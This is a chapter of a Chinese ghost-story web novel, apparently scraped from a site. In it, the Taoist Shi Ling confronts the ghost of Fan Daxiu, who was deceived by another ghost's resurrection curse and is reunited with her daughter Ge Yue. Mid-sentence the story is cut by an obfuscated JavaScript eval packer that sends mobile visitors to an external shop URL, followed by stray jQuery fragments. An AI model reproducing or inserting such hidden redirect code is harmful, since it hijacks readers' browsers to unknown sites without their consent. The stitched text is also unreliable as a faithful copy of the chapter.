樊大秀两手扯着细线,丝毫不听,怒吼道:“快把俺放开!”
“俺才不信你的鬼话!”
“俺知道了,你刚刚跟那个白衣女鬼是一起合起伙来诓俺!”
施菱见她不肯相信自己的模样,有些无奈,同时耳朵被她吼得隐隐作疼。
她一手扯着细线,一手揉了揉耳朵。
施菱索性破罐子破摔:“您若不愿意听我讲话,那我们便一直耗着吧。”
说着,施菱拍了拍地上的灰尘,细线自动绕了几圈,缠在指间,她作势便要坐下。
樊大秀闹了一阵,见施菱神色平静竟然真的打算要跟她一直耗着,枯黄的手扯着细线松不断,低低咒骂了一句。
“你们这些道士,都一个模样,人模鬼样。”
施菱被她莫名骂了一句也不恼,只是有些好奇地道:“您还见过其他道士吗?”
樊大秀阴恻恻的盯了她一眼,道:“你跟他们不一样,还算有点真本事。”
“之前那伙人骗了俺的钱,要是再见到他们,俺一定要找他们算账!”
施菱明白了她口中说的“人摸鬼样”的道士,应当是那些打着道门旗号、四处招摇撞骗的江湖术士。
看来樊大秀之前是被这些江湖术士骗过,怪不得对道士这么抵触。
她笑了一下,又收敛了神色,道:“我可是正经道士,大娘莫把我跟那些骗子混为一谈。”
施菱说完这话,自己也沉默了一瞬。夜风从两人中间穿过去,细线在风里轻轻晃了一下。
樊大秀道:“那你为啥子跟那个鬼一起合起伙来诓俺?”
“为啥子管俺的事?为啥子接近越儿?”
“谁晓得你有没有不安好心!”
施菱连忙举起手来,道:“绝对好心!”
“至于为什么要管大娘您的事情,自然是因为,这就是我们的任务。
“我们道士游走于阴阳两界,就是为了要送打破平衡的人和鬼去该去的地方。”
“遇上了那我当然要管。”
话毕,施菱想起这几日与葛越的相处,在樊大秀眼里竟成了“不安好心”,不免有些纳闷。
她道:“而且您应当能看得出来我对越儿没有恶意吧?”
樊大秀神色怒道:“你前日差点毒死越儿!”
施菱震惊。她怎么不知道她竟然还会给小孩子下毒这回事。
前日。
她想起来了,她那时好像是葛洪大叔外出没有回家,她尝试做了一碗面给越儿吃。
越儿兴致勃勃的吃了,但是当时尝过之后就坚决不允许自己进灶台了。
原来是因为,她的手艺已经到了能“毒”死人的地步了吗?
施菱有些哭笑不得,这误会可太大了。
她无奈的道:“这个是大误会,我没有想伤害越儿。”
“不过大娘,您若一直守在她身边,迟早是会害了她。”
“您身上的阴气已经上了越儿身,若是活人被阴气浸久了,寿元精气会一点点被耗干。”
她希望樊大秀能听懂这句话的分量。
好在,樊大秀没有像之前那样不肯听她说话。
她停下来扯细线的动作,看着施菱,一时无言。
施菱又道:“回去吧,回您该去的地方。”
樊大秀道:“俺不信你。道士只会骗俺们的钱,之前那伙人说好了付完钱就能让俺看见俺的娃儿们的魂魄,结果他们拿完钱就直接跑了。”
施菱微微征了片刻,明白了樊大秀口中的“娃儿们”就是葛越之前说过的从未谋面被朝廷征兵带走的哥哥们。
施菱见她一直无法对自己放下戒心,正想着什么对策,忽然一声惊叫声传出。
“娘——”
葛越从另一边的小道上突然出现在她们面前,她在几步远处猛地刹住脚,看看樊大秀,又看看施菱。
那双眼睛在两人之间来回转了几圈,看到的就是施菱手上缠着细线,她娘身上被无数根细线捆绑。
“施姐姐?”
施菱一时愕然。
她不是让柳繁枝引着葛越去别的地方吗?怎么葛越突然出现在了这里?
樊大秀惊奇地道:“娃儿,俺的越儿,你能看见俺?”
施菱站起身,叹了一口气,对着樊大秀道:“这就是阴气太重,您的女儿,她已经能够看见普通鬼魂了。”
闻言,樊大秀明显有些着急,道:“不可能,我明明马上就能恢复肉身了,怎么会让阴气传给越儿!”
施菱听到她说“恢复肉身”,她察觉到其中有不妙,于是道:“人死后只会变成鬼魂。若是真有恢复肉身,那也是借尸还魂罢了,难不成您是想要借您女儿的身还自己的魂?”
施菱当然知道樊大秀不会这么做。
她是一个如此爱女儿的人,连死了都想守在女儿身边的母亲,怎么可能会真的容许这样的事情发生?怎么舍得动她一根头发?
只是好言相劝她听不进去,唯有这样刺她一下,才能让她醒过神来,发觉事情的严重性。
果然,樊大秀听到这话又惊恐又愤怒地道:“你胡说八道什么!”
“俺怎么可能会对俺娃做那样的事!”
此时,葛越还站在原地,像是没完全回过神来。
她一步步走近樊大秀,走到跟前时顿住了,葛越仰起头,一眨不眨地盯着那张面容。
她看着梦里从未出现过的娘亲,此刻正在面前焦急的望着她。
葛越道:“娘。”
她目光又往下移,瞧见那些缠在樊大秀身上的细线,反应过来是施菱把她捆住的。
葛越又下意识看向施菱。
施菱却已经收了一些细线,樊大秀身上的束缚少了一些。
她神色平静地道:“如你所见,你施姐姐我,是个道士。”
葛越捏紧了衣角,声音闷了一瞬,轻轻地道:“施姐姐。那你之前留在我家里其实就是为找我娘吗?”
施菱看着葛越,神情复杂。
这孩子是真的很聪明,几句话后,就能立刻猜到自己这几天留宿她家是目的就是为了找鬼魂。
施菱点点头:“对。”
她本来也没有打算一直瞒着。
话毕,施菱又转向樊大秀,神色正了正:“大娘,请您务必告诉我,究竟是谁跟您说能恢复肉身的,那人才是真正在诓骗您。”
樊大秀目光没有离开葛越。
葛越转过身凝望着她,却又不说别的话,只是一直喊着“娘”。
樊大秀晃神,她想起她还在人世的时候两个孩子被征兵的带走了。
她要守着家,那时白天要挑水、劈柴、煮饭、喂鸡,常常被繁重的活计累得喘不过气。
葛越却总是一声一声的用软软糯糯的嗓音叫喊着“娘”,将她从昏昏沉沉的倦怠里拽出来。
哪怕有时候明明被吵了,她却总是觉得开心。
笑着不厌其烦的回应,偶尔捏她几下假意训她。
回到槐堂村这些日子来,她经常守在越儿身边,跟着她,跟着她上学、散学。
瞧着她经常一个人,走过村道小路,她却什么都做不了只能看着,跟着。
樊大秀跟在后面,想伸手替她拢一拢被风吹乱的头发,手却穿过了虚空。
她真是心如刀割。
此时,她的越儿终于看见她了,葛越小心翼翼的想上前去牵住她并不存在的衣角,却抓了个空,她颤抖着手却愣在原地。
樊大秀分明看到,女儿仰起头含泪的双眼。
也许,对樊大秀而言,牵动她作为母亲所有心思的,其实也只需要一声“娘”和女儿将落眼泪而已。
所以当看着女儿这幅模样,她的眼眶也红了,咽着悲声道:“俺的娃!俺可怜的娃,娘不是人了,你碰不到娘的。”
随后樊大秀抹了一把泪,目光转向施菱道:“那个鬼在俺身上施了咒,告诉俺,只要俺在俺娃和俺那口子身边待个几年,就能能恢复肉身……说是能还魂了。”
“俺不知道那个鬼会骗俺。”
施菱看着樊大秀,叹息道:“若那咒当真有用,为什么那个鬼自己不实施,而是作用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919182|213409||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到你身上去呢?那鬼分明是另有目的。”
樊大秀不是个聪明人,生前被江湖术士被了钱财,死后又被不知名的鬼魂诓了一回,说的回魂的法子,她竟信了。
然而,不管是生前还是死后,她都只是一个牵挂自己孩子和家庭的母亲。
但是,那个在她身上施咒的鬼又是谁?
往生门关闭会与它有关吗?
葛越也看向施菱道:“施姐姐……我还能这么叫你吗?我娘不是故意这样的,她只是有点不太聪明,她一定是被人骗了。”
“我知道。”
施菱抬了抬手,缠在樊大秀身上的细线绕回她的指尖。算是默许了她们母女二人的相处。
樊大秀虽然碰不到葛越,然而还是用虚形将葛越的小小身躯拢进怀里,抱着她哀嚎起来,嘴里念叨着“俺的娃”“俺的越儿”。
施菱看着母女二人,心里想着,大不了多画几张祛阴的符纸,她现在的符还够多,到时候再祛除葛越身上的阴气就是了。
还有一件事,施菱很奇怪柳繁枝为什么没有引走葛越,毕竟昨晚的计划也谈得挺顺利的。
应该万无一失才对,怎么让她跑回来了?
她问葛越:“你在路上没有遇到其他的人吗?”
葛越从樊大秀怀里探出脑袋,想了想,道:“我和黎晖在海棠树下遇到了老石匠爷爷,唔……我又看见了白衣姐姐,不过老石匠爷爷好像认识她,她和老石匠爷爷离开了。”
施菱道:“老石匠爷爷?”
她突然想起来之前在海棠树下除了村妇们,旁边确实还有一个修青石碑的老石匠。
“那你怎么想到回来的?”
“我本来快要回家了,但是我想起来还要给黎晖东西,可我不认识回他家那条小路,就走这条路回来了。”
樊大秀闻言,有些着急的说:“那也不能晚上在外面乱跑!”
施菱也赞同:“确实,这么晚就不用给他送东西了,明天也可以的。”
葛越挠了挠头,对着樊大秀道:“好的,娘,我知道啦,我以后绝对不会这样的。”
樊大秀看着她,数落她的同时也禁不住眯起眼角,眼里漫过笑意,冲淡了方才的悲伤情绪。
这就怪了。
那老石匠和柳繁枝又是什么关系呢?怎么柳繁枝主动跟他离开了?
此时,缠在施菱手腕上属于柳繁枝印记气息的那枚铜钱符纸颤了颤,发出一丝微妙的动静。
施菱闭眼感应着柳繁枝的气息,她此刻就在祭台。
樊大秀察觉到施菱的神情,道:“发生啥子事了?”
施菱想起来今晚好像是村里人给柳繁枝祭祀的日子,于是睁开眼,道:“樊大娘,村里的祭祀会做什么呢?”
樊大秀沉思了片刻,道:“俺记得先将翻新的石碑刻字,然后将大家一同买的香烛在那一晚烧尽,然后准备米水撒在供桌周围。”
施菱道:“我现在得去一趟了。”
葛越突然开口道:“施姐姐,那个白衣姐姐是今晚要祭祀的那个柳先生吗?”
施菱道:“对。”
葛越看着樊大秀,道:“娘,我也想去,我想看看那个柳先生。你和我一起去吧。”
樊大秀道:“那个白衣女鬼就是柳先生啊。不过她咋那么年轻,不应该跟我同个模样才对吗?走吧,娘跟你一块去。”
……
青石碑前,供桌上已经撤下了烛火,取而代之的是几盏昏昏亮着地铜灯,四周围一圈村民。
男人们举着香烛,女人们手里端着装米水的碗,正往青石碑和供桌旁边泼洒,有水渍溅在碑面上,沿着刻的字的纹路缓缓淌下来。
施菱视线紧紧盯着这些祭祀的方式,她扫视了一圈周围后,看着这一切,正要再上前一步,肩膀忽然被人轻轻碰了一下。
她回过头,看见柳繁枝站在身后,脸色苍白。
那双一向沉静似水的眸子,此刻却满是焦急。
她神色变了几变,急急地道:“快,快去阻止他们!”
“阻止祭祀发生!”